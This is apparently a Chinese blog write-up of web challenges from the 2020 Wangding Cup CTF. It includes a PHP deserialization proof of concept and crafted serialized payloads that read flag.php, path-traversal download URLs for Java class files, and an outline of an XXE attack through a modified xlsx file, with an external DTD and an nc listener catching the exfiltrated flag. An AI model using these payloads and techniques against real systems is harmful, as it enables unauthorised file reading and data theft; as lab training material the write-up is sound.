【网鼎杯2020青龙组】Web WriteUp

AreUSerialz

打开题目直接给出了源代码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }


    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }


    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }


    private function output($s) {
        echo "[Result]:
";
        echo $s;
    }


    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }


}
简单代码审计,发现如下几个关键点:
(1)在process函数中,用的是 == , 而析构函数中用的是 === ,因此我们让 op=2,即可绕过析构函数对op的赋值。
 
(2)反序列化之前会做逐字判断,ascii必须>=32或<=125,由于这里是protected类型,需要加上%00进行标识,由于%00被url解码后ascii值为0,不在32-125中,所以会返回false,那么就可以就用十六进制\00和S绕过。
 
(3)flag在当前目录的flag.php文件中
 
构造POC :
<?php
class FileHandler {
    protected $op=2;
    protected $filename="flag.php";
    protected $content;
}

$a= new FileHandler();
$a=serialize($a);
echo $a;

//O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

将%00替换为\00,然后将s->S

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:10:"./flag.php";S:10:"\00*\00content";N;}

对这道题说来,直接改成private类型也可以,如:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}

 

 

javafile

打开题目时个上传界面
上传之后可以进行下载
猜测下载的时候可能存在目录穿越漏洞,在结合题目名称,这是一个Javaweb,考虑读取web.xml文件
 
 
浏览发现有几个可以下载的配置文件;这里看到和文件上传有关系,所以就下载文件上传方面的class文件进行审计即可,这里我全下载下来了
?filename=../../../classes/cn/abc/servlet/DownloadServlet.class 
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class 
?filename=../../../classes/cn/abc/servlet/UploadServlet.class 

得到class文件之后用JD-GUI打开,进行代码审计,upload这里有一个对文件名、后缀是否为excel-开头和xlsx结尾进行的判断

这里先判断了文件名是否为“excel-” 然后又判断了文件是否是以xlsx为结尾;这里又是java环境,又在上图的文件里可以看到引入了Apache POI OpenXML parser且为存在漏洞的3.10版本,所以不难让人想到可能是利用xlsx构造xml进行文件读取了,和docx的xml差不多是一个原理,又可以和软链接攻击相比较类似,都是基于压缩包进行的。( https://www.jianshu.com/p/73cd11d83c30  )

新建一个excel文件,将后缀名改为zip,然后解压
修改[Content_Types].xml
然后把文件压缩回zip,并修改后缀为xlsx
 
然后在服务器上创建一个dtd文件:file.dtd,内容如下:
 
然后服务器开启监听  nc -lvvp 2333
本地上传excel-vege.xlsx文件
 
上传成功后,服务器接收到flag
 
 

notes

(JS原型链污染。 不太会。 待补)

posted @ 2020-05-13 11:14  yokan  阅读(1135)  评论(0编辑  收藏  举报